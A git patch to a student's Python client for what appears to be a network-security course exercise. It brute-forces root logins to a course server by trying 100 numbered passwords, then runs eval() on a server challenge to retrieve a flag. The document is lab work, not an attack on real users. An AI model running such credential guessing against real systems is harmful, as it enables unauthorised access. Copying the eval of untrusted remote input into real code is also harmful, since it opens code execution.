From 4607ad3d8181d65c31a58c719b7f4cfe5525c9f9 Mon Sep 17 00:00:00 2001 From: Dongho Kim Date: Sat, 9 Nov 2024 22:42:00 +0900 Subject: [PATCH] update --- week02/hard/client.py | 76 +++++++++++++++++++++++++++++++++---------- 1 file changed, 59 insertions(+), 17 deletions(-) diff --git a/week02/hard/client.py b/week02/hard/client.py index 1b39037..d86209e 100644 --- a/week02/hard/client.py +++ b/week02/hard/client.py @@ -4,12 +4,10 @@ import time HOST = 'netsec.net.in.tum.de' # TODO PORT = 64984 # TODO -def gen_crends(): - credentials = "root,Password00" - return credentials -def get_flag(): - credentials = "root,Password19" + +def get_flag2(): + credentials = "root,Passwordr00" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) sf = s.makefile('rw') # we use a file abstraction for the sockets @@ -17,19 +15,16 @@ def get_flag(): sf.write("{}\n".format(credentials)) sf.flush() data = sf.readline().rstrip('\n') - print(data) - response = eval(data) - sf.write("{}\n".format(response)) + resp = eval(data) + sf.write("{}\n".format(resp)) sf.flush() print(sf.readline().rstrip('\n')) - flag = sf.readline().rstrip('\n') - return flag + print(sf.readline().rstrip('\n')) - -def find_port_get_flag(): +def get_flag(): for i in range(100): - time.sleep(1) - credentials = "root,Password"+str("%02d" % i) + time.sleep(2) + credentials = "root,Passwordr"+str("%02d" % i) print(credentials) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) @@ -39,13 +34,60 @@ def find_port_get_flag(): sf.write("{}\n".format(credentials)) sf.flush() data = sf.readline().rstrip('\n') - answer = eval(data) - sf.write("{}\n".format(answer)) + resp = eval(data) + sf.write("{}\n".format(resp)) sf.flush() print(sf.readline().rstrip('\n')) + print(sf.readline().rstrip('\n')) except: pass + +# def ans(): +# for i in range(100): +# credentials = 'root'+','+'Password'+str("%02d" % i) +# print(credentials) +# try: +# s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + +# s.connect((HOST, PORT)) +# sf = s.makefile("rw") # we use a file abstraction for the sockets + +# sf.write("{}\n".format(credentials)) +# sf.flush() + +# challenge = sf.readline().rstrip('\n') + +# print("Solve the following equation to prove you are human: ", challenge) + +# inToPosEx = infix_to_postfix(challenge) +# value = postfixEval(inToPosEx) + +# print('VALUE = ',value) +# sf.write("{}\n".format(str(value))) +# sf.flush() + +# data = sf.readline().rstrip('\n') +# print("From Server: `{}'".format(data)) + +# data = sf.readline().rstrip('\n') +# print("From Server: received {} bytes".format(len(data))) + +# data = b64decode(data.encode()) + +# pdf_hdr = b'%PDF-1.5' + +# if len(data) >= len(pdf_hdr) and data[:len(pdf_hdr)] == pdf_hdr: +# print("Looks like we got a PDF!") +# # TODO write the received data to a file +# f = open('a.pdf','wb') +# f.write(data) +# f.close() +# sf.close() +# s.close() +# except: + pass + if __name__ == '__main__': - print(get_flag()) \ No newline at end of file + get_flag() \ No newline at end of file